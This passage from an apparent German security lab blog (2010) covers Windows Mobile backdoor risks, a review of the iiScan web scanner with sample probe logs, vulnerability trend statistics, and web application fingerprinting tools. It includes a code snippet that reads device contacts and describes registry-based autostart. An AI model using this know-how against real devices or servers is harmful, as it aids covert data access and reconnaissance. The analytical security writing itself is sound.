Wird die Anwendung dann erst einmal ausgeführt, kann diese mit sämtlichen Rechten agieren. So können nach Belieben auf Eigenschaften, Objekte und Dateien des Geräts zugegriffen werden. Durch den Import von Microsoft.WindowsMobile.PocketOutlook lassen sich relativ komfortabel Zugriffe auf Email, SMS, Kontakte und Kalender realisieren. Nachfolgendes Code-Beispiel zeigt auf, wie über eine Session in PocketOutlook die Kontakte ausgelesen werden können:

Private Sub ShowContacts()
   Dim s As Microsoft.WindowsMobile.PocketOutlook.OutlookSession = New OutlookSession()
   Dim i As Integer

   For i = 0 To s.Contacts.Items.Count – 1
      MsgBox(s.Contacts.Items.Item(i).LastName)
   Next
End Sub

Weiterführende Low Level Zugriffe im System sind aufgrund eines mangelhaften Rechtesystems – ganz im Gegensatz zum iPhone – ebenso ohne weiteres möglich. So kann beispielsweise die Registry angepasst werden, wodurch sich Autostart-Mechanismen realisieren liessen. Als Grund für das Fehlen eines granularen Rechtemodells nennt das Microsoft TechNet die limitierten Ressourcen der Geräte:

Like any other security model, Windows Mobile software does have a concept of permissions. We’ve already established that tracking per-item permissions is too resource intensive for mobile devices; instead, a much simpler model of three permission tiers is used: (...)

Generell liegt hier ein allgemeines Problem vor, mit dem Windows (und viele andere Betriebssysteme) auch auf Client-Rechnern schon seit jeher zu kämpfen haben. Korrupter Programmcode kann als solcher nicht erkannt werden, wenn er legitime Zugriffe ausführt. Im geschilderten Fall können auch keine Antiviren-Lösungen für Windows Mobile helfen, die Backdoor als solche zu erkennen. Ist die Installation vom Benutzer zugelassen, werden nur noch herkömmliche Daten- und Netzwerkzugriffe umgesetzt.

Produkt	Portal
Apple iPhone/iPod	AppStore
Google Android	Android Market
Microsoft Windows Mobile	Windows Marketplace
Nokia	Ovi Store
RIM BlackBerry	App World

Die Schwierigkeit liegt nun darin, vor der Ausführung von Malware eben diese als solche zu erkennen. Im Fall des unumgehbaren AppStore ist Apple durch eine strikte Policy und eine streng durchgeführte Prüfung der Apps in der Lage, korrupte Programme als solche vorgängig zu identifizieren. Wird auf eine zentrale Stelle mit dieser erhöhten Kompetenz verzichtet (z.B. wie im Fall des Android Market), ist die Prüfung dem Benutzer überlassen. Jenachdem ist es sodann gar nicht mehr oder nur noch mit erhöhtem Aufwand möglich, korrupten Programmcode zu identifizieren. Gerade vorkompilierte Applikationen bieten sich förmlich an, um Geräte zu kompromittieren.

Marc Ruef

► 28.01.2010 – Blog Digest Januar 2010

Nachfolgend interessante Beiträge zum Thema IT-Security des vergangenen Monats:

The Shortcut to Control Rationalization, feeds.ca.com
Facebook Mischief, f-secure.com
Breaking Koobface’s Captcha Solving Process, abuse.ch
News Experiment To Rely Only On Facebook, Twitter, rss.slashdot.org
SMS or Not to SMS – Why Should I Care?, rsa.com
Study of BlackBerry Proof-of-Concept Malicious Applications -SMobile Global Threat Center, threatcenter.smobilesystems.com
Adding Data Leakage Protection into Apache, blog.rootshell.be
Should You Be a Generalist Or a Specialist?, hackerboss.com
Ray McGovern on Intelligence Failures, schneier.com
Honeypot analysis – Looking at SSH scans, feedproxy.google.com
Facebook Privacy Doesn’t Really Exist, f-secure.com
Only 27% of Organizations Use Encryption, rss.slashdot.org
Afterbytes with Marcus Ranum – Using A Dedicated PC For Online Banking, blog.tenablesecurity.com
2000 – 2009: The Spam Explosion, symantec.com
Half of All Data Centers Understaffed, Symantec Survey Finds, csoonline.com
Malicious App In Android Market, rss.slashdot.org
W32/Fame, feedproxy.google.com
David Brooks on Resilience in the Face of Security Imperfection, schneier.com
Flash drive manufacturers warn: Hackers can decrypt ‘secure’ USB sticks, sophos.com

Marc Ruef

► 22.01.2010 – iiScan Web Scanning Review

Die chinesische Firma NOSEC Technologies Co., Ltd. bietet unter http://www.iiscan.com einen Webdienst namens iiScan Web Application Security Evaluation System an, mit dem Webserver einem automatisierten Scanning unterzogen werden können.

Die Registrierung erfordert die Angabe einer gültigen Mailadresse und eines Passworts. Zusätzlich muss zum gegenwärtigen Zeitpunkt ein Invitation Code angegeben werden, der durch den Hersteller vergeben wird (z.B. via Twitter oder per Email). Nachdem die Anmeldung abgeschickt wurde, wird auf die spezifizierte Mailadresse eine Bestätigung mit Aktivierungslink geschickt. Durch das Aufrufen dessen wird das Konto freigeschaltet.

Das Webfrontend lässt sich wie gehabt über die Firmenwebseite aufrufen. Standardmässig ist es auf Chinesisch eingestellt, lässt sich aber mit einem simplen Klick auf Englisch wechseln. In der linken Spalte wird das Grundmenü bereitgestellt, in dem Server verwaltet und Scans ausgeführt werden können. In der rechten Spalte wird der eigentliche Inhalt dargestellt.

Zuerst muss eine Domain (bzw. ein Server) für ein Scanning hinzugefügt werden. Nachdem der Name des Webservers angegeben wurde, muss auf diesen eine Datei hochgeladen werden, die einen Hash enthält. Dieser kann sodann durch den Webdienst verifiziert werden, um missbräuchliche Scans Dritter zu verhindern.

iiScan prüft www.scip.ch

Nachdem die Legitimität der Analyse bestätigt wurde, kann der Scan gestartet werden. Hierbei kann wahlweise ein kompletter Scan oder einzelne Scantechniken ausgewählt werden. Letztere umfassen:

Blind SQL Injection
CGI
Dir bruteforce
File Check
SQL Injection

Der Scan wird nach dem Aktivieren in eine Queue geschrieben, wodurch eine sequentielle Ausführung der jeweiligen Tasks gewährleistet werden will. Dieser kann jederzeit durch das Klicken auf einen Stop-Link angehalten werden. Unser Test-Scan wurde um 11:00 Uhr übermittelt, wurde um 11:12 Uhr gestartet und war sodann um 11:16 Uhr beendet.

In den Log-Files des geprüften Webservers kann gesehen werden, dass der Scan von einem Host des Unternehmens ausgeführt wird. Abgesehen von einem einzigen Zugriff wird bei allen der gleiche individuelle User-Agent verwendet. Dies macht es relativ einfach möglich, das Vorgehen der Analyse untersuchen zu können:

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) NOSEC.JSky/1.0

Im Schnitt werden zwei Zugriffe pro Sekunde ausgeführt, wodurch sich die Belastung des Servers in Grenzen hält. Dabei werden in einer ersten Phase nicht-existente Dateien (z.B. /never_could_exist_file.nosec)und für Schwachstellen bekannte Dateien (z.B. /_vti_bin/_vti_adm/admin.dll) gesucht. Dies geschieht mit unterschiedlichen HTTP-Methoden (neben GET ebenfalls mit PUT und DELETE). Zusätzlich werden erste Cross Site Scripting-Versuche innerhalb der URL (ohne Berücksichtigung der Applikationsstrukturen) angegangen.

216.18.22.x - [11:12:51] "GET / HTTP/1.0"
216.18.22.x - [11:12:53] "GET / HTTP/1.0"
216.18.22.x - [11:12:53] "GET /robots.txt HTTP/1.1"
216.18.22.x - [11:12:53] "GET / HTTP/1.1"
216.18.22.x - [11:12:54] "GET /never_could_exist_file.nosec HTTP/1.0"
216.18.22.x - [11:12:54] "GET /never_could_exist_file_nosec.aspx HTTP/1.0"
216.18.22.x - [11:12:55] "PUT /jsky_test.txt HTTP/1.1"
216.18.22.x - [11:12:55] "GET / HTTP/1.1"
216.18.22.x - [11:12:56] "PUT /jsky_web_scanner_test_file.txt HTTP/1.1"
216.18.22.x - [11:12:57] "GET /Jsky_Web_Scanner_Test.dll HTTP/1.1"
[...]

Eine detailliertere Analyse der jeweiligen Zugriffsversuche wurden im Labs Blog von Sucuri Security veröffentlicht. Dabei wird aufgezeigt, dass in einer abschliessenden Phase nach der Analyse der Webseiten-Struktur eben diese geprüft wird. Indem zum Beispiel für spezifische GET-Parameter typische Cross Site Scripting und SQL Injection Angriffsmuster eingesetzt werden. Diese Phase konnten wir bei unserem Test nicht beobachten, was eventuell damit zu tun hat, dass der Webserver keine klassischen GET-Parameter benutzt, sondern auf strukturelle Query-Strings setzt (z.B. http://www.scip.ch/?dienstleistungen.penetrationtest anstelle von http://www.scip.ch/?section=dienstleistungen&service=penetrationtest). Der Scan wurde deshalb auch nie richtig abgeschlossen und stand stattdessen stundenlang auf 94% fest.

Bei der Durchsicht der Webserver-Logs fällt auf, dass beim Scanning die 3xx Redirect Meldungen des Webservers nicht berücksichtigt werden. Es wird wohl angenommen, dass ein Auftreten dieser schlussendlich stets auf eine 404 Not Found verweisen wird. Dies ist nicht ganz korrekt, was dazu führen kann, dass gewisse Schwachstellen nicht identifiziert werden könnten.

iiScan weist Schwachstelle im Report aus

Die Zwischenresultate des Scans können noch während der Ausführung eingesehen werden. Dabei werden sowohl Online-HTML-Reports als auch PDF-Reports bereitgestellt (letztere haben bei unserem Test während der Scanning-Phase nicht funktioniert, erst nach Abschluss der Analyse). Die Aufmachung dieser ist übersichtlich und sehr stark an klassischen Nessus-Reports angelehnt. Leider fehlt vielerorts die englische Übersetzung, weshalb mit chinesischen Beschreibungen Vorlieb genommen werden muss. Die einzige gefundene Schwachstelle, ein vermeintliches Anbieten der DELETE-Methode, war zudem ein False-Positive.

Das dargebotene Produkt ist simpel gehalten und so verhält es sich auch. Als professionelle Scanning-Lösung kann iiScan, vor allem in einer scheinbar noch nicht ausgegarten Version, noch nicht herhalten. Da fehlen einfach die umfangreichen Scan-Zugriffe und die granularen Möglichkeiten der Moderation von Scans. Mit diesem Produkt wurde jedoch eine gute Grundlage geschaffen, auf der man durchaus aufbauen kann. Sind die Entwickler auch weiterhin um die Verbesserung ihrer Lösung bemüht, könnte diese durchaus in 1-2 Jahren für so manches Unternehmen von Interesse sein.

Marc Ruef

► 15.01.2010 – Trendanalysen bezüglich Vulnerabilities

Der Bereich der Computersicherheit ist, vor allem gemessen an traditionellen Disziplinen, unglaublich jung. Doch dies muss nicht zwingend als unumstösslicher Nachteil wahrgenommen werden. So lassen sich nämlich viele Modelle aus anderen Wissenschaften übernehmen und dadurch vom Erfahrungsschatz dieser profitieren.

Die Veröffentlichung von neuen Schwachstellen gilt als massgeblicher Indikator für die aktuelle Bedrohungslage und zukünftige Gefahren. Aus diesem Grund haben wir statistische Daten verschiedener Quellen miteinander kombiniert und ausgewertet. Mit diesem Beitrag soll versucht werden die Vergangenheit, Gegenwart und Zukunft im Bereich der Computersicherheit etwas greifbar zu machen.

Nachfolgende Statistik zeigt auf, wieviele Advisories jährlich in den letzten 20 Jahren (1988 bis 2008) herausgegeben wurden. Es ist zu sehen, wie ab Mitte der 1990er Jahre eine erste konstante Veröffentlichung von Advisories beobachtet werden kann. Diese etabliert sich zunehmends und beginnt offensichtlich gegen Ende des Jahrtausends zu steigen.

Statistische Entwicklung von Verwundbarkeiten

Seit 1993 ist pro Jahr eine Verdoppelung der an die Öffentlichkeit getragenen Schwachstellen zu beobachten, wie nachfolgende Tabelle aufzeigt. Dies hat sowohl mit der breitflächigen Nutzung von Computersystemen als auch mit der Etablierung des Internet sowie dem neuerlichen Interesse an Sicherheitslücken in Software zu tun.

Jahr	Schwachstellen
1988	6
1989	2
1990	11
1991	20
1992	23
1993	4
1994	9
1995	15
1996	52
1997	116
1998	208
1999	628
2000	1165
2001	1474
2002	2605
2003	2681
2004	2692
2005	3805
2006	4893
2007	4686
2008	5564

Die darauf folgenden Jahre konnte zwar auch weiterhin ein stetiger Anstieg, jedoch nicht mehr in einer derartig überproportionaler Weise beobachtet werden. Auch hier hat die Verbreitung von produktiven Lösungen sowie dem stetigen Interesse an Schwachstellen in diesen beigetragen.

Dieser Anstieg ist bis heute ungebrochen und dürfte sich wohl auch in den kommenden Jahren weiterziehen. Vor allem durch mobile Geräte (Mobiltelefone, PDAs und Netbooks) erschliesst sich hier in breitflächiger Weise ein neuer Bereich für interessante Sicherheitslücken. Einen weiteren Schub der Angriffsfläche und des damit einhergehenden Interesses dürfte die Ausbreitung von vernetzten Systemen im alltäglichen Leben (z.B. in modernen Autos oder digitalen Haushalten) erfahren.

Marc Ruef

► 07.01.2010 – Identifikation von Webapplikationen

Mittels Fingerprinting wird sich bei einer Sicherheitsüberprüfung darum bemüht, das eingesetzte Produkt zu erkennen. Klassischerweise wird zum Beispiel mit dem OS-Fingerprinting das genutzte Betriebssystem identifiziert. Im Rahmen von Application Fingerprinting geht es darum zu erkennen, welche Netzwerkanwendungen eingesetzt werden. Unsere Entwicklung namens httprecon hilft beispielsweise dabei, den dargebotenen Webserver zu ermitteln.

Einen Schritt weiter geht webapprecon. Die auf dem Core von httprecon basierende Lösung ist darum bemüht, die auf einem Webserver eingesetzte webapplikation zu erkennen. Hierbei kommen unterschiedliche Mechanismen zum Einsatz. Hauptsächlich wird mittels Pattern Matching die Datenstruktur der HTML-Ausgaben untersucht, um typische Elemente zu finden:

Eigenschaft	Quelle	Beispiel
Statische Strings	HTML, CSS, Javascript	Copyright-Hinweise, Link-Namen, ...
Tags/Attribute	HTML	`a`, `img`, `src`, `title`, `name`, ...
Klassennamen	HTML, CSS	`class`, `name`, `id`
Funktionsnamen	Javascript	`ejs_preload();`
Verschachtelung von Tags	HTML, CSS	`/descendant-or-self::Foo/child::*`
Referenzierte Dateien	HTML, CSS, Javascript	`link rel="stylesheet" href="wordpress.css"`
Pfad-/Dateinamen	HTML, CSS, Javascript	`./wp-admin/images/menu.png`

Obschon es schon längere Zeit eine funktionierende Implementierung von webapprecon gibt (seit Anfang 2008), wurde bisher auf eine Veröffentlichung verzichtet. Die Schwierigkeit des Projekts besteht darin, umfangreiche Fingerprints der jeweiligen Webapplikationen anzustellen. Bisher konnte noch kein Algorithmus entwickelt werden, der in semi-automatisierter Weise die charakteristischen Eigenschaften erkennt und abspeichern kann. Das Zusammentragen der Fingerabdrücke findet bisher weitestgehend in manueller Weise statt und ist deshalb mit überdurchschnittlich hohem Aufwand verbunden.

webapprecon erkennt Webapplikation

Shreeraj Shah verwies Mitte des letzten Jahres auf ein ähnliches Produkt dem Namen AppPrint. Die Funktionsweise dessen ist jedoch bisher aufgrund einer ausbleibenden Veröffentlichung des Produkts oder Details zur Implementierung nicht bekannt. Es wird nur kurz darauf hingewiesen, dass Libraries und Standardkomponenten identifiziert werden sollen:

AppPrint scans IP range, IP or host for Web and Application servers. (...) It also fingerprints Web 2.0 libraries and components.

AppPrint von Shreeraj Shah

Am letztjährigen Chaos Communication Congress in Berlin (26C3: Here Be Dragons) wurde wafp von Richard Sammet vorgestellt. Hierbei handelt es sich um ein ähnliches Utility, das in Ruby geschrieben wurde und die MD5-Checksummen bekannter Dateien anhand einer SQLite3 Datenbank überprüft:

WAFP fetches the files given by the Finger Prints from a webserver and checks if the checksums of those files are matching to the given checksums from the Finger Prints. This way it is able to detect the detailed version and even the build number of a Web Application.

wafp.rb http://blog.scip.ch/ Collecting and fetching the files we need to identify the product … .................................................................................. Identified Product: serendipity (80.00 %) Collecting the files we need to fetch … Fetching needed files (#1506), calculating checksums and storing the results to the database: .................................................................................. Checking gathered/stored checksums (#1506) against the selected product (serendipity) versions (#33) checksums: .................................

found the following matches (limited to 10): ——————————————————————————————- serendipity-1.3 430 / 571 (75.31%) serendipity-1.3.1 430 / 571 (75.31%) serendipity-1.2 407 / 554 (73.47%) serendipity-1.2.1 408 / 556 (73.38%) serendipity-1.0.2 326 / 448 (72.77%) serendipity-1.0 326 / 448 (72.77%) serendipity-1.0.4a 326 / 448 (72.77%) serendipity-1.0.1 326 / 448 (72.77%) serendipity-1.0.3a 326 / 449 (72.61%) serendipity-1.1.3 349 / 482 (72.41%) ——————————————————————————————- WAFP 0.01-26c3 – - – - – - – - – http://mytty.org/wafp/

Es gibt grundsätzlich drei Gründe, die gegen eine solche Straightforward-Implementierung sprechen:

Abweichungen in Dateistrukturen: Einerseits müssen die Lokationen der jeweils für den Download und die Analyse vorgesehenen Dateien bekannt sein. Eine individuelle Installation, bei denen die Pfad- und Dateinamen geändert wurden, kann so nicht ohne weiteres erkannt werden. (Ein grundlegendes Problem statischen Scannings.)
Abweichungen in Dateiinhalten: Zudem können kleinste Abweichungen in den analysierten Dateien dazu führen, dass gänzlich andere Hashwerte erzeugt werden, wodurch keine Ableitung stattfinden kann und stattdessen eine komplett andere Implementierung erwartet wird. (Ein grundlegendes Problem, welches schon beim Favicon Fingerprinting berücksichtigt werden musste.)
Vielzahl an Zugriffen: Und indem das Fingerprinting anhand verschiedener Dateien durchgeführt werden muss, müssen eine Vielzahl an Zugriffen (ähnlich wie bei einem klassischen CGI-Scanning mit Tools wie Nikto) stattfinden. Dies ist zeitintensiv und auffällig.

Wir hoffen, die Einschränkung von webapprecon eliminieren zu können, um ein effizientes Tool zur Erkennung von Webanwendungen bereitstellen zu können. Weitere Details oder gar eine erste öffentliche Version der Software sollten im Laufe der kommenden Monate herausgegeben werden.

Marc Ruef

Labs Übersicht